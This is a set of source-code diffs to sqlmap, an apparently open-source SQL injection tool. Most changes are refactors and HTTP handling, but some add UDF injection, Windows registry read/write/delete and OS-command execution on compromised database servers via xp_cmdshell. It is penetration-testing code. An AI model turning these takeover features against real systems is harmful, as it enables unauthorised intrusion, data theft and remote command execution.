self.__info = info
def __feedInfo(self, key, value):
value = sanitizeStr(value)
@@ -60,7 +56,6 @@ class MSSQLBannerHandler(ContentHandler):
self.__info[key] = value
def startElement(self, name, attrs):
if name == "signatures":
self.__release = sanitizeStr(attrs.get("release"))
@@ -71,14 +66,12 @@ class MSSQLBannerHandler(ContentHandler):
elif name == "servicepack":
self.__inServicePack = True
def characters(self, data):
if self.__inVersion:
self.__version += sanitizeStr(data)
elif self.__inServicePack:
self.__servicePack += sanitizeStr(data)
def endElement(self, name):
if name == "signature":
if re.search(" %s[\.\ ]+" % self.__version, self.__banner):
@@ -89,7 +82,6 @@ class MSSQLBannerHandler(ContentHandler):
self.__version = ""
self.__servicePack = ""
elif name == "version":
self.__inVersion = False
self.__version = self.__version.replace(" ", "")
@@ -98,7 +90,6 @@ class MSSQLBannerHandler(ContentHandler):
self.__inServicePack = False
self.__servicePack = self.__servicePack.replace(" ", "")
def bannerParser(banner):
"""
This function calls a class to extract information from the given

View File

@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import sys
from optparse import OptionError
@@ -33,7 +31,6 @@ from optparse import OptionParser
from lib.core.data import logger
from lib.core.settings import VERSION_STRING
def cmdLineParser():
"""
This function parses the command line parameters and arguments
@@ -62,7 +59,6 @@ def cmdLineParser():
target.add_option("-c", dest="configFile",
help="Load options from a configuration INI file")
# Request options
request = OptionGroup(parser, "Request", "These options can be used "
"to specify how to connect to the target url.")
@@ -76,8 +72,8 @@ def cmdLineParser():
request.add_option("--cookie", dest="cookie",
help="HTTP Cookie header")
request.add_option("--referer", dest="referer",
help="HTTP Referer header")
request.add_option("--drop-set-cookie", dest="dropSetCookie", action="store_true",
help="Ignore Set-Cookie header from response")
request.add_option("--user-agent", dest="agent",
help="HTTP User-Agent header")
@@ -86,12 +82,15 @@ def cmdLineParser():
help="Load a random HTTP User-Agent "
"header from file")
request.add_option("--referer", dest="referer",
help="HTTP Referer header")
request.add_option("--headers", dest="headers",
help="Extra HTTP headers newline separated")
request.add_option("--auth-type", dest="aType",
help="HTTP Authentication type (value "
"Basic or Digest)")
"Basic, Digest or NTLM)")
request.add_option("--auth-cred", dest="aCred",
help="HTTP Authentication credentials (value "
@@ -115,7 +114,6 @@ def cmdLineParser():
help="Retries when the connection timeouts "
"(default 3)")
# Injection options
injection = OptionGroup(parser, "Injection", "These options can be "
"used to specify which parameters to test "
@@ -156,7 +154,6 @@ def cmdLineParser():
help="Matches to be excluded before "
"comparing page contents")
# Techniques options
techniques = OptionGroup(parser, "Techniques", "These options can "
"be used to test for specific SQL injection "
@@ -191,7 +188,6 @@ def cmdLineParser():
"to retrieve the queries output. No "
"need to go blind")
# Fingerprint options
fingerprint = OptionGroup(parser, "Fingerprint")
@@ -199,7 +195,6 @@ def cmdLineParser():
action="store_true",
help="Perform an extensive DBMS version fingerprint")
# Enumeration options
enumeration = OptionGroup(parser, "Enumeration", "These options can "
"be used to enumerate the back-end database "
@@ -245,7 +240,7 @@ def cmdLineParser():
enumeration.add_option("--dump", dest="dumpTable", action="store_true",
help="Dump DBMS database table entries "
"(req -T, opt -D, -C, --start, --stop)")
"(req -T, opt -D, -C)")
enumeration.add_option("--dump-all", dest="dumpAll", action="store_true",
help="Dump all DBMS databases tables entries")
@@ -268,10 +263,16 @@ def cmdLineParser():
"enumerating tables")
enumeration.add_option("--start", dest="limitStart", type="int",
help="First table entry to dump")
help="First query output entry to retrieve")
enumeration.add_option("--stop", dest="limitStop", type="int",
help="Last table entry to dump")
help="Last query output entry to retrieve")
enumeration.add_option("--first", dest="firstChar", type="int",
help="First query output word character to retrieve")
enumeration.add_option("--last", dest="lastChar", type="int",
help="Last query output word character to retrieve")
enumeration.add_option("--sql-query", dest="query",
help="SQL statement to be executed")
@@ -280,6 +281,16 @@ def cmdLineParser():
action="store_true",
help="Prompt for an interactive SQL shell")
# User-defined function options
udf = OptionGroup(parser, "User-defined function injection", "These "
"options can be used to create custom user-defined "
"functions.")
udf.add_option("--udf-inject", dest="udfInject", action="store_true",
help="Inject custom user-defined functions")
udf.add_option("--shared-lib", dest="shLib",
help="Local path of the shared library")
# File system options
filesystem = OptionGroup(parser, "File system access", "These options "
@@ -335,19 +346,49 @@ def cmdLineParser():
help="Remote absolute path of temporary files "
"directory")
# Windows registry options
windows = OptionGroup(parser, "Windows registry access", "This "
"option can be used to access the back-end "
"database management system Windows "
"registry.")
windows.add_option("--reg-read", dest="regRead", action="store_true",
help="Read a Windows registry key value")
windows.add_option("--reg-add", dest="regAdd", action="store_true",
help="Write a Windows registry key value data")
windows.add_option("--reg-del", dest="regDel", action="store_true",
help="Delete a Windows registry key value")
windows.add_option("--reg-key", dest="regKey",
help="Windows registry key")
windows.add_option("--reg-value", dest="regVal",
help="Windows registry key value")
windows.add_option("--reg-data", dest="regData",
help="Windows registry key value data")
windows.add_option("--reg-type", dest="regType",
help="Windows registry key value type")
# Miscellaneous options
miscellaneous = OptionGroup(parser, "Miscellaneous")
miscellaneous.add_option("--eta", dest="eta", action="store_true",
help="Display for each output the "
"estimated time of arrival")
miscellaneous.add_option("--update", dest="updateAll", action="store_true",
help="Update sqlmap to the latest stable version")
miscellaneous.add_option("-s", dest="sessionFile",
help="Save and resume all data retrieved "
"on a session file")
miscellaneous.add_option("--eta", dest="eta", action="store_true",
help="Display for each output the "
"estimated time of arrival")
miscellaneous.add_option("--gpage", dest="googlePage", type="int",
help="Use google dork results from specified page number")
miscellaneous.add_option("--update", dest="updateAll", action="store_true",
help="Update sqlmap to the latest stable version")
miscellaneous.add_option("--save", dest="saveCmdline", action="store_true",
help="Save options on a configuration INI file")
@@ -365,8 +406,10 @@ def cmdLineParser():
parser.add_option_group(techniques)
parser.add_option_group(fingerprint)
parser.add_option_group(enumeration)
parser.add_option_group(udf)
parser.add_option_group(filesystem)
parser.add_option_group(takeover)
parser.add_option_group(windows)
parser.add_option_group(miscellaneous)
(args, _) = parser.parse_args()

View File

@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
from ConfigParser import NoSectionError
from ConfigParser import ConfigParser
@@ -33,10 +31,8 @@ from lib.core.data import logger
from lib.core.exception import sqlmapMissingMandatoryOptionException
from lib.core.optiondict import optDict
config = None
def configFileProxy(section, option, boolean=False, integer=False):
"""
Parse configuration file and save settings into the configuration
@@ -63,7 +59,6 @@ def configFileProxy(section, option, boolean=False, integer=False):
debugMsg += "ignoring. Skipping to next."
logger.debug(debugMsg)
def configFileParser(configFile):
"""
Parse configuration file and save settings into the configuration

View File

@@ -22,15 +22,9 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import re
from xml.sax.handler import ContentHandler
from lib.core.common import sanitizeStr
from lib.core.data import kb
class FingerprintHandler(ContentHandler):
"""
@@ -46,7 +40,6 @@ class FingerprintHandler(ContentHandler):
self.__techVersion = None
self.__info = info
def __feedInfo(self, key, value):
value = sanitizeStr(value)
@@ -62,7 +55,6 @@ class FingerprintHandler(ContentHandler):
for v in value.split("|"):
self.__info[key].add(v)
def startElement(self, name, attrs):
if name == "regexp":
self.__regexp = sanitizeStr(attrs.get("value"))

View File

@@ -22,9 +22,7 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import re
import os
from xml.sax import parse
@@ -33,7 +31,6 @@ from lib.core.data import kb
from lib.core.data import paths
from lib.parse.handler import FingerprintHandler
def headersParser(headers):
"""
This function calls a class that parses the input HTTP headers to
@@ -48,13 +45,13 @@ def headersParser(headers):
kb.headersCount += 1
topHeaders = {
"cookie": "%s/cookie.xml" % paths.SQLMAP_XML_BANNER_PATH,
"microsoftsharepointteamservices": "%s/sharepoint.xml" % paths.SQLMAP_XML_BANNER_PATH,
"server": "%s/server.xml" % paths.SQLMAP_XML_BANNER_PATH,
"servlet-engine": "%s/servlet.xml" % paths.SQLMAP_XML_BANNER_PATH,
"set-cookie": "%s/cookie.xml" % paths.SQLMAP_XML_BANNER_PATH,
"x-aspnet-version": "%s/x-aspnet-version.xml" % paths.SQLMAP_XML_BANNER_PATH,
"x-powered-by": "%s/x-powered-by.xml" % paths.SQLMAP_XML_BANNER_PATH,
"cookie": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "cookie.xml"),
"microsoftsharepointteamservices": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "sharepoint.xml"),
"server": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "server.xml"),
"servlet-engine": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "servlet.xml"),
"set-cookie": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "cookie.xml"),
"x-aspnet-version": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-aspnet-version.xml"),
"x-powered-by": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-powered-by.xml")
}
for header in headers:

View File

@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import re
from xml.sax import parse
@@ -34,7 +32,6 @@ from lib.core.common import sanitizeStr
from lib.core.data import kb
from lib.core.data import paths
class htmlHandler(ContentHandler):
"""
This class defines methods to parse the input HTML page to
@@ -49,7 +46,6 @@ class htmlHandler(ContentHandler):
self.dbms = None
def startElement(self, name, attrs):
if name == "dbms":
self.__dbms = attrs.get("value")
@@ -62,7 +58,6 @@ class htmlHandler(ContentHandler):
self.dbms = self.__dbms
self.__match = None
def htmlParser(page):
"""
This function calls a class that parses the input HTML page to

View File

@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
from xml.sax import parse
from xml.sax.handler import ContentHandler
@@ -34,7 +32,6 @@ from lib.core.data import queries
from lib.core.data import paths
from lib.core.datatype import advancedDict
class queriesHandler(ContentHandler):
"""
This class defines methods to parse the default DBMS queries
@@ -45,7 +42,6 @@ class queriesHandler(ContentHandler):
self.__dbms = ''
self.__queries = advancedDict()
def startElement(self, name, attrs):
if name == "dbms":
data = sanitizeStr(attrs.get("value"))
@@ -134,6 +130,10 @@ class queriesHandler(ContentHandler):
data = sanitizeStr(attrs.get("query"))
self.__queries.isDba = data
elif name == "check_udf":
data = sanitizeStr(attrs.get("query"))
self.__queries.checkUdf = data
elif name == "inband":
self.__inband = sanitizeStr(attrs.get("query"))
self.__inband2 = sanitizeStr(attrs.get("query2"))
@@ -146,7 +146,6 @@ class queriesHandler(ContentHandler):
self.__count = sanitizeStr(attrs.get("count"))
self.__count2 = sanitizeStr(attrs.get("count2"))
def endElement(self, name):
if name == "dbms":
queries[self.__dbms] = self.__queries
@@ -205,7 +204,6 @@ class queriesHandler(ContentHandler):
self.__queries.dumpTable = self.__dumpTable
def queriesParser():
"""
This function calls a class to parse the default DBMS queries

View File

@@ -22,17 +22,17 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import gzip
import os
import re
import StringIO
import zlib
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import paths
from lib.parse.headers import headersParser
from lib.parse.html import htmlParser
def forgeHeaders(cookie, ua):
"""
Prepare HTTP Cookie and HTTP User-Agent headers to use when performing
@@ -51,17 +51,12 @@ def forgeHeaders(cookie, ua):
return headers
def parseResponse(page, headers):
"""
@param page: the page to parse to feed the knowledge base htmlFp
(back-end DBMS fingerprint based upon DBMS error messages return
through the web application) list and absFilePaths (absolute file
paths) set.
@todo: in the future parse the page content scrolling an XML file to
identify the dynamic language used and, most, the absolute path,
like for DBMS error messages (ERRORS_XML), see above.
"""
if headers:
@@ -73,8 +68,29 @@ def parseResponse(page, headers):
# Detect injectable page absolute system path
# NOTE: this regular expression works if the remote web application
# is written in PHP and debug/error messages are enabled.
absFilePaths = re.findall(" in <b>(.*?)</b> on line", page, re.I)
absFilePathsRegExp = ( r" in <b>(.*?)</b> on line", r"\b[A-Za-z]:(\\[\w.\\]*)?", r"/[/\w.]+" )
for absFilePath in absFilePaths:
if absFilePath not in kb.absFilePaths:
kb.absFilePaths.add(absFilePath)
for absFilePathRegExp in absFilePathsRegExp:
reobj = re.compile(absFilePathRegExp)
for match in reobj.finditer(page):
absFilePath = match.group()
if absFilePath not in kb.absFilePaths:
kb.absFilePaths.add(os.path.dirname(absFilePath))
def decodePage(page, encoding):
"""
Decode gzip/deflate HTTP response
"""
if str(encoding).lower() in ('gzip', 'x-gzip', 'deflate'):
if encoding == 'deflate':
# http://stackoverflow.com/questions/1089662/python-inflate-and-deflate-implementations
data = StringIO.StringIO(zlib.decompress(page, -15))
else:
data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(page))
page = data.read()
return page

View File

@@ -0,0 +1,12 @@
import httplib
import urllib2
class HTTPSCertAuthHandler(urllib2.HTTPSHandler):
def __init__(self, key_file, cert_file):
urllib2.HTTPSHandler.__init__(self)
self.key_file = key_file
self.cert_file = cert_file
def https_open(self, req):
return self.do_open(self.getConnection, req)
def getConnection(self, host):
return httplib.HTTPSConnection(host, key_file=self.key_file, cert_file=self.cert_file)

View File

@@ -22,16 +22,12 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import re
from lib.core.convert import md5hash
from lib.core.data import conf
from lib.core.data import logger
from lib.core.session import setMatchRatio
def comparison(page, headers=None, getSeqMatcher=False):
regExpResults = None
@@ -74,15 +70,16 @@ def comparison(page, headers=None, getSeqMatcher=False):
# If the url is stable and we did not set yet the match ratio and the
# current injected value changes the url page content
if conf.matchRatio == None:
if conf.md5hash != None and ratio > 0.6 and ratio < 1:
if conf.matchRatio is None:
if conf.md5hash is not None and ratio > 0.6 and ratio < 1:
logger.debug("setting match ratio to %.3f" % ratio)
conf.matchRatio = ratio
elif conf.md5hash == None or ( conf.md5hash != None and ratio < 0.6 ):
elif conf.md5hash is None or ( conf.md5hash is not None and ratio < 0.6 ):
logger.debug("setting match ratio to default value 0.900")
conf.matchRatio = 0.900
if conf.matchRatio != None:
if conf.matchRatio is not None:
setMatchRatio()
# If it has been requested to return the ratio and not a comparison
@@ -94,7 +91,7 @@ def comparison(page, headers=None, getSeqMatcher=False):
# hash of the original one
# NOTE: old implementation, it did not handle automatically the fact
# that the url could be not stable (due to VIEWSTATE, counter, etc.)
#elif conf.md5hash != None:
#elif conf.md5hash is not None:
# return conf.md5hash == md5hash(page)
# If the url is not stable it returns sequence matcher between the

View File

@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import httplib
import re
import socket
@@ -33,11 +31,13 @@ import urlparse
import traceback
from lib.contrib import multipartpost
from lib.core.common import sanitizeCookie
from lib.core.convert import urlencode
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.exception import sqlmapConnectionException
from lib.request.basic import decodePage
from lib.request.basic import forgeHeaders
from lib.request.basic import parseResponse
from lib.request.comparison import comparison
@@ -48,12 +48,10 @@ class Connect:
This class defines methods used to perform HTTP requests
"""
@staticmethod
def __getPageProxy(**kwargs):
return Connect.getPage(**kwargs)
@staticmethod
def getPage(**kwargs):
"""
@@ -61,7 +59,7 @@ class Connect:
the target url page content
"""
if conf.delay != None and isinstance(conf.delay, (int, float)) and conf.delay > 0:
if conf.delay is not None and isinstance(conf.delay, (int, float)) and conf.delay > 0:
time.sleep(conf.delay)
url = kwargs.get('url', conf.url).replace(" ", "%20")
@@ -85,26 +83,33 @@ class Connect:
else:
requestMsg += "%s" % urlparse.urlsplit(url)[2] or "/"
if silent:
socket.setdefaulttimeout(3)
if direct:
if "?" in url:
url, params = url.split("?")
params = urlencode(params).replace("%%", "%")
params = urlencode(params)
url = "%s?%s" % (url, params)
requestMsg += "?%s" % params
elif multipart:
multipartOpener = urllib2.build_opener(multipartpost.MultipartPostHandler)
conn = multipartOpener.open(url, multipart)
page = conn.read()
multipartOpener = urllib2.build_opener(multipartpost.MultipartPostHandler)
conn = multipartOpener.open(url, multipart)
page = conn.read()
responseHeaders = conn.info()
return page
encoding = responseHeaders.get("Content-Encoding")
page = decodePage(page, encoding)
return page
else:
if conf.parameters.has_key("GET") and not get:
get = conf.parameters["GET"]
if get:
get = urlencode(get).replace("%%", "%")
get = urlencode(get)
url = "%s?%s" % (url, get)
requestMsg += "?%s" % get
@@ -112,18 +117,11 @@ class Connect:
if conf.parameters.has_key("POST") and not post:
post = conf.parameters["POST"]
post = urlencode(post).replace("%%", "%")
requestMsg += " HTTP/1.1"
if cookie:
# TODO: sure about encoding the cookie?
#cookie = urlencode(cookie).replace("%%", "%")
cookie = cookie.replace("%%", "%")
try:
# Perform HTTP request
headers = forgeHeaders(cookie, ua)
headers = forgeHeaders(sanitizeCookie(cookie), ua)
req = urllib2.Request(url, post, headers)
conn = urllib2.urlopen(req)
@@ -135,14 +133,15 @@ class Connect:
requestHeaders = "\n".join(["%s: %s" % (header, value) for header, value in req.header_items()])
for _, cookie in enumerate(conf.cj):
if not cookieStr:
cookieStr = "Cookie: "
cookie = str(cookie)
index = cookie.index(" for ")
cookieStr += "%s; " % cookie[8:index]
if not conf.dropSetCookie:
for _, cookie in enumerate(conf.cj):
if not cookieStr:
cookieStr = "Cookie: "
cookie = str(cookie)
index = cookie.index(" for ")
cookieStr += "%s; " % cookie[8:index]
if not req.has_header("Cookie") and cookieStr:
requestHeaders += "\n%s" % cookieStr[:-2]
@@ -160,11 +159,14 @@ class Connect:
logger.log(9, requestMsg)
# Get HTTP response
page = conn.read()
code = conn.code
status = conn.msg
page = conn.read()
code = conn.code
status = conn.msg
responseHeaders = conn.info()
encoding = responseHeaders.get("Content-Encoding")
page = decodePage(page, encoding)
except urllib2.HTTPError, e:
if e.code == 401:
exceptionMsg = "not authorized, try to provide right HTTP "
@@ -190,6 +192,9 @@ class Connect:
warnMsg += "status code, try to force the HTTP User-Agent "
warnMsg += "header with option --user-agent or -a"
else:
warnMsg = "unable to connect to the target url"
if "BadStatusLine" not in tbMsg:
warnMsg += " or proxy"
@@ -199,7 +204,7 @@ class Connect:
return None, None
if silent == True:
if silent:
return None, None
elif conf.retriesCount < conf.retries:
@@ -210,11 +215,15 @@ class Connect:
time.sleep(1)
return Connect.__getPageProxy(get=get, post=post, cookie=cookie, ua=ua, direct=direct, multipart=multipart)
socket.setdefaulttimeout(conf.timeout)
return Connect.__getPageProxy(**kwargs)
else:
socket.setdefaulttimeout(conf.timeout)
raise sqlmapConnectionException, warnMsg
socket.setdefaulttimeout(conf.timeout)
parseResponse(page, responseHeaders)
responseMsg += "(%s - %d):\n" % (status, code)
@@ -227,7 +236,6 @@ class Connect:
return page, responseHeaders
@staticmethod
def queryPage(value=None, place=None, content=False, getSeqMatcher=False, silent=False):
"""

View File

@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import re
import time
@@ -33,7 +31,6 @@ from lib.core.common import dataToSessionFile
from lib.core.common import expandAsteriskForColumns
from lib.core.common import parseUnionPage
from lib.core.common import readInput
from lib.core.common import replaceNewlineTabs
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
@@ -45,8 +42,7 @@ from lib.techniques.blind.inference import bisection
from lib.utils.resume import queryOutputLength
from lib.utils.resume import resume
def __goInference(payload, expression, charsetType=None):
def __goInference(payload, expression, charsetType=None, firstChar=None, lastChar=None):
start = time.time()
if ( conf.eta or conf.threads > 1 ) and kb.dbms:
@@ -56,7 +52,7 @@ def __goInference(payload, expression, charsetType=None):
dataToSessionFile("[%s][%s][%s][%s][" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression))
count, value = bisection(payload, expression, length, charsetType)
count, value = bisection(payload, expression, length, charsetType, firstChar, lastChar)
duration = int(time.time() - start)
if conf.eta and length:
@@ -68,8 +64,7 @@ def __goInference(payload, expression, charsetType=None):
return value
def __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected=None, num=None, resumeValue=True, charsetType=None):
def __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected=None, num=None, resumeValue=True, charsetType=None, firstChar=None, lastChar=None):
outputs = []
origExpr = None
@@ -88,7 +83,7 @@ def __goInferenceFields(expression, expressionFields, expressionFieldsList, payl
else:
expressionReplaced = expression.replace(expressionFields, field, 1)
if resumeValue == True:
if resumeValue:
output = resume(expressionReplaced, payload)
if not output or ( expected == "int" and not output.isdigit() ):
@@ -97,7 +92,7 @@ def __goInferenceFields(expression, expressionFields, expressionFieldsList, payl
warnMsg += "sqlmap is going to retrieve the value again"
logger.warn(warnMsg)
output = __goInference(payload, expressionReplaced, charsetType)
output = __goInference(payload, expressionReplaced, charsetType, firstChar, lastChar)
if isinstance(num, int):
expression = origExpr
@@ -106,8 +101,7 @@ def __goInferenceFields(expression, expressionFields, expressionFieldsList, payl
return outputs
def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, resumeValue=True, unpack=True, charsetType=None):
def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, resumeValue=True, unpack=True, charsetType=None, firstChar=None, lastChar=None):
"""
Retrieve the output of a SQL query characted by character taking
advantage of an blind SQL injection vulnerability on the affected
@@ -125,16 +119,16 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r
untilLimitChar = None
untilOrderChar = None
if resumeValue == True:
if resumeValue:
output = resume(expression, payload)
else:
output = None
if output and ( expected == None or ( expected == "int" and output.isdigit() ) ):
if output and ( expected is None or ( expected == "int" and output.isdigit() ) ):
return output
if unpack == False:
return __goInference(payload, expression, charsetType)
if not unpack:
return __goInference(payload, expression, charsetType, firstChar, lastChar)
if kb.dbmsDetected:
_, _, _, _, _, expressionFieldsList, expressionFields = agent.getFields(expression)
@@ -206,7 +200,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r
if not stopLimit or stopLimit <= 1:
if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"):
test = "n"
elif batch == True:
elif batch:
test = "y"
else:
message = "can the SQL query provided return "
@@ -222,17 +216,17 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r
untilOrderChar = countedExpression.index(" ORDER BY ")
countedExpression = countedExpression[:untilOrderChar]
if resumeValue == True:
if resumeValue:
count = resume(countedExpression, payload)
if not stopLimit:
if not count or not count.isdigit():
count = __goInference(payload, countedExpression, charsetType)
count = __goInference(payload, countedExpression, charsetType, firstChar, lastChar)
if count and count.isdigit() and int(count) > 0:
count = int(count)
if batch == True:
if batch:
stopLimit = count
else:
message = "the SQL query provided can return "
@@ -298,7 +292,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r
return None
for num in xrange(startLimit, stopLimit):
output = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, num, resumeValue=resumeValue, charsetType=charsetType)
output = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, num, resumeValue=resumeValue, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar)
outputs.append(output)
return outputs
@@ -306,16 +300,15 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r
elif kb.dbms == "Oracle" and expression.startswith("SELECT ") and " FROM " not in expression:
expression = "%s FROM DUAL" % expression
outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, resumeValue=resumeValue, charsetType=charsetType)
outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, resumeValue=resumeValue, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar)
returnValue = ", ".join([output for output in outputs])
else:
returnValue = __goInference(payload, expression, charsetType)
returnValue = __goInference(payload, expression, charsetType, firstChar, lastChar)
return returnValue
def __goInband(expression, expected=None, sort=True, resumeValue=True, unpack=True):
"""
Retrieve the output of a SQL query taking advantage of an inband SQL
@@ -331,7 +324,7 @@ def __goInband(expression, expected=None, sort=True, resumeValue=True, unpack=Tr
and expression in kb.resumedQueries[conf.url].keys()
)
if condition and resumeValue == True:
if condition and resumeValue:
output = resume(expression, None)
if not output or ( expected == "int" and not output.isdigit() ):
@@ -345,8 +338,7 @@ def __goInband(expression, expected=None, sort=True, resumeValue=True, unpack=Tr
return data
def getValue(expression, blind=True, inband=True, fromUser=False, expected=None, batch=False, unpack=True, sort=True, resumeValue=True, charsetType=None):
def getValue(expression, blind=True, inband=True, fromUser=False, expected=None, batch=False, unpack=True, sort=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None):
"""
Called each time sqlmap inject a SQL query on the SQL injection
affected parameter. It can call a function to retrieve the output
@@ -376,14 +368,13 @@ def getValue(expression, blind=True, inband=True, fromUser=False, expected=None,
conf.paramNegative = False
if blind and not value:
value = __goInferenceProxy(expression, fromUser, expected, batch, resumeValue, unpack, charsetType)
value = __goInferenceProxy(expression, fromUser, expected, batch, resumeValue, unpack, charsetType, firstChar, lastChar)
conf.paramFalseCond = oldParamFalseCond
conf.paramNegative = oldParamNegative
return value
def goStacked(expression, silent=False):
expression = cleanQuery(expression)

View File

@@ -22,13 +22,15 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import httplib
import socket
import urllib
import urllib2
from lib.core.settings import PYVERSION
if PYVERSION >= "2.6":
import ssl
class ProxyHTTPConnection(httplib.HTTPConnection):
_ports = {"http" : 80, "https" : 443}
@@ -57,8 +59,7 @@ class ProxyHTTPConnection(httplib.HTTPConnection):
self._real_host = host
self._real_port = int(port)
httplib.HTTPConnection.request(self, method, url, body, headers)
httplib.HTTPConnection.request(self, method, rest, body, headers)
def connect(self):
httplib.HTTPConnection.connect(self)
@@ -85,11 +86,10 @@ class ProxyHTTPConnection(httplib.HTTPConnection):
if line == "\r\n":
break
class ProxyHTTPSConnection(ProxyHTTPConnection):
default_port = 443
def __init__(self, host, port=None, key_file=None, cert_file=None, strict=None):
def __init__(self, host, port=None, key_file=None, cert_file=None, strict=None, timeout=None):
ProxyHTTPConnection.__init__(self, host, port)
self.key_file = key_file
self.cert_file = cert_file
@@ -98,9 +98,12 @@ class ProxyHTTPSConnection(ProxyHTTPConnection):
ProxyHTTPConnection.connect(self)
# Make the sock ssl-aware
ssl = socket.ssl(self.sock, self.key_file, self.cert_file)
self.sock = httplib.FakeSocket(self.sock, ssl)
if PYVERSION >= "2.6":
sslobj = ssl.wrap_socket(self.sock, self.key_file, self.cert_file)
self.sock = sslobj
else:
sslobj = socket.ssl(self.sock, self.key_file, self.cert_file)
self.sock = httplib.FakeSocket(self.sock, sslobj)
class ProxyHTTPHandler(urllib2.HTTPHandler):
def __init__(self, proxy=None, debuglevel=0):
@@ -114,7 +117,6 @@ class ProxyHTTPHandler(urllib2.HTTPHandler):
return urllib2.HTTPHandler.do_open(self, ProxyHTTPConnection, req)
class ProxyHTTPSHandler(urllib2.HTTPSHandler):
def __init__(self, proxy=None, debuglevel=0):
self.proxy = proxy

View File

@@ -22,18 +22,16 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
from lib.core.common import readInput
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.dump import dumper
from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.core.shell import autoCompletion
from lib.takeover.udf import UDF
from lib.takeover.xp_cmdshell import xp_cmdshell
class Abstraction(UDF, xp_cmdshell):
"""
This class defines an abstraction layer for OS takeover functionalities
@@ -46,10 +44,21 @@ class Abstraction(UDF, xp_cmdshell):
UDF.__init__(self)
xp_cmdshell.__init__(self)
def __cmdShellCleanup(self):
if not conf.cleanup:
if kb.dbms in ( "MySQL", "PostgreSQL" ):
self.cleanup()
elif kb.dbms == "Microsoft SQL Server":
self.cleanup(onlyFileTbl=True)
else:
errMsg = "Feature not yet implemented for the back-end DBMS"
raise sqlmapUnsupportedFeatureException, errMsg
def execCmd(self, cmd, silent=False, forgeCmd=False):
if kb.dbms in ( "MySQL", "PostgreSQL" ):
self.udfExecCmd(cmd, silent)
self.udfExecCmd(cmd, silent=silent)
elif kb.dbms == "Microsoft SQL Server":
self.xpCmdshellExecCmd(cmd, silent, forgeCmd)
@@ -58,19 +67,17 @@ class Abstraction(UDF, xp_cmdshell):
errMsg = "Feature not yet implemented for the back-end DBMS"
raise sqlmapUnsupportedFeatureException, errMsg
def evalCmd(self, cmd):
def evalCmd(self, cmd, first=None, last=None):
if kb.dbms in ( "MySQL", "PostgreSQL" ):
return self.udfEvalCmd(cmd)
return self.udfEvalCmd(cmd, first, last)
elif kb.dbms == "Microsoft SQL Server":
return self.xpCmdshellEvalCmd(cmd)
return self.xpCmdshellEvalCmd(cmd, first, last)
else:
errMsg = "Feature not yet implemented for the back-end DBMS"
raise sqlmapUnsupportedFeatureException, errMsg
def runCmd(self, cmd):
getOutput = None
@@ -88,9 +95,8 @@ class Abstraction(UDF, xp_cmdshell):
else:
self.execCmd(cmd, forgeCmd=True)
if kb.dbms == "Microsoft SQL Server":
self.cleanup(onlyFileTbl=True)
if not conf.osShell and not conf.cleanup:
self.__cmdShellCleanup()
def absOsShell(self):
if kb.dbms in ( "MySQL", "PostgreSQL" ):
@@ -137,35 +143,25 @@ class Abstraction(UDF, xp_cmdshell):
self.runCmd(command)
if not conf.cleanup:
if kb.dbms in ( "MySQL", "PostgreSQL" ):
self.cleanup()
